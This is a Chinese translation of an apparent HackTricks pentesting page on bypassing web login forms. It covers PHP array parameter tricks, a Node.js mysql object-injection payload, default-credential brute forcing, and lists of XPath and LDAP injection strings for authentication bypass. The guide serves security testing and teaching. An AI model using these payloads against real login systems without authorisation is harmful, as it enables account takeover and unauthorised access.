96 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 登录绕过
{{#include ../../banners/hacktricks-training.md}}
## **绕过常规登录**
如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:
- 检查页面内的 **评论**(向下滚动并向右?)
- 检查是否可以 **直接访问受限页面**
- 检查 **不发送参数**不发送任何或仅发送1个
- 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **将内容类型更改为 json** 并发送 json 值(包括 bool true
- 如果你收到一个响应,表示不支持 POST你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
- 检查 nodejs 潜在的解析错误(阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4) `password[password]=1`
- Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
- 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。
- 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为,当 `Object` 被传递** 在参数中。
- 检查凭据:
- [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
- **常见组合**root, admin, password, 技术名称, 默认用户与这些密码之一)。
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
- **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL 注入认证绕过
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。
在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**
{{#ref}}
sql-login-bypass.md
{{#endref}}
### 无 SQL 注入认证绕过
[这里你可以找到几种通过 **无 SQL 注入** 绕过登录的技巧](../nosql-injection.md#basic-authentication-bypass)**。**
由于无 SQL 注入需要更改参数值,你需要手动测试它们。
### XPath 注入认证绕过
[这里你可以找到几种通过 **XPath 注入** 绕过登录的技巧](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2
```
### LDAP 注入认证绕过
[在这里你可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass)
```
*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|
```
### 记住我
如果页面有 "**记住我**" 功能,请检查其实现方式,看看是否可以利用它来 **接管其他账户**
### 重定向
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站您可能会窃取一些信息代码、cookie...)。
## 其他检查
- 检查是否可以通过登录功能 **枚举用户名**
- 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**`<input autocomplete="false">`
## 自动化工具
- [HTLogin](https://github.com/akinerkisa/HTLogin)
{{#include ../../banners/hacktricks-training.md}}